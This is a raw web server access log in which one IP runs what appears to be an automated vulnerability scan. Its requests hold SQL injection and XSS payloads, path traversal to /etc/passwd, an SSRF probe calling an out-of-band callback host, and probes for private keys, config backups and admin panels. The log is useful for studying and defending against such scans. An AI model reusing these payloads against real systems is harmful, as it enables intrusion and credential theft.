[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.rsp HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //linusadmin-phpinfo.php HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //editor/ckeditor/samples/ HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/sms_check.php?param=1%27%20and%20updatexml(1,concat(0x7e,(SELECT%20md5(999999999)),0x7e),1)--%20 HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.children.json/FNZ.html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /blog/wp/readme.html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wt3/forceSave.php?file=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?m=member&f=login_save HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/page_start.php HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //init.sh HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger/swagger-ui.html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Providers/HtmlEditorProviders/Telerik/Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /common/dept.jsp?deptid=1'+UNION+ALL+SELECT+60%2Csys.fn_sqlvarbasetostr(HASHBYTES('MD5'%2C'999999999'))--+ HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /?BazaR&vue=saisir&action=saisir_fiche&id=2 HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?PagePrincipale/rss&id=1%27%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/simple-file-list/bbihdeh.php HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.rar HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/file?cmd=getFileLocal&fileid=..%2F..%2F..%2F..%2Fwebapps/nc_web/WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5(999999999)) HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /file/fileNoLogin/%7B%7Bidname%7D%7D HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/install/index.php HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.jsp HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zabbix/zabbix.php?action=dashboard.list HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /FrontController HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /run HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /service/~baseapp/UploadServlet HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/cms_channel.php?del=123456+AND+(SELECT+1+FROM(SELECT+COUNT(*)%2cCONCAT(0x7e%2cmd5(999999999)%2c0x7e%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)--%2b' HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index/login.html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csperf/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.plugins.archive/backends HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zb_system/login.php HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/welcome?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP/1.1" 3426
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zenario/admin/welcome.php HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /3.0/authService/config HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/altair/images/flip/ HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927574834 HTTP/1.1" -
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.xz HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.zip HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/group/list HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/index.php HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.inc HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //mysqldump.sql HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /id_rsa_1024 HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/webuploader/js/webconfig.php HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ncupload/n2d19a.jsp HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zp-core/setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?feed=rss2 HTTP/1.1" 3426
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?view=log HTTP/1.1" 3426
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?send=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-send%27%29%3E&attachment_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-attachment_id%27%29%3E&wp_screen_options=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-wp_screen_options%27%29%3E&page_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-page_id%27%29%3E&locale=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-locale%27%29%3E&function=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-function%27%29%3E&profile=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-profile%27%29%3E&day=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-day%27%29%3E&folder=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-folder%27%29%3E&mobile=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-mobile%27%29%3E&settings=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-settings%27%29%3E&comments=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-comments%27%29%3E&all=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-all%27%29%3E&menu=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-menu%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0 HTTP/1.1" 199
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /yyoa/DownExcelBeanServlet?contenttype=username&contentvalue&state=1&per_id=0 HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/FMPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zimbraAdmin/ HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/template/login.php?backurl=1%20onmouseover%3dalert(/document.domain/)%20y%3d HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?BazaR&vue=consulter HTTP/1.1" 3426
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /run HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //startup.sh HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /App_Master/Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /AKIWF.jsp HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger-ui.html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /debug/default/view HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ckeditor/samples/sample_posteddata.php HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mainpage/msglog.aspx?user=1%27%20and%201=convert(int,(select%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27127381%27))))-- HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WS_FTP.LOG HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /service/error/sfdc_preauth.jsp?session=s&userid=1&server=http://d5g6to2hausk1oj0j65gtq697r5jxzgwt.oast.live%23.salesforce.com/ HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.plugins.archive/cluster/archives/catalog/rebuild HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console/ HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /toLogin HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?route=%2Fworkspaces%2Fdefault%3F HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zenphoto/zp-core/setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /seeyon/thirdpartyController.do.css/..;/ajax.do HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v2/application.wadl HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DI6aLnYL7X1VGk5nH0MftPfS.jsp HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //O.html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/tenants HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //playground HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /zms/admin/index.php HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/altair/images/ HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-includes/ HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /servlet/~baseapp/nc.message.bs.NCMessageServlet HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zentao/index.php?mode=getconfig HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.z HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.children.json/FNZ.png HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uapim/static/pages/49/head.jsp HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..;/examples/servlets/servlet/SessionExample HTTP/1.1" 226
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vendor/diablomedia/zendframework1-http/tests/Zend/Http/Client/_files/testRedirections.php?redirection=3&param=<img/src=x%20onerror=alert(1)> HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zc_install/index.php HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ZMC_Admin_Login HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /seeyon/personalBind.do.jpg/..;/ajax.do?method=ajaxAction&managerName=mMOneProfileManager&managerMethod=getOAProfile HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /plugins/ueditor/php/controller.php?action=catchimage&upfolder=1 HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /blog/debug.log HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //php-info.php HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /zabbix/index.php HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /u8qx/bx_historyDataCheck.jsp HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.old HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /yyoa/ext/https/getSessionList.jsp?cmd=getAll HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.208.139.tar HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zm/?view=log HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /id_rsa_2048 HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zp/zp-core/setup/index.php HTTP/1.1" 196
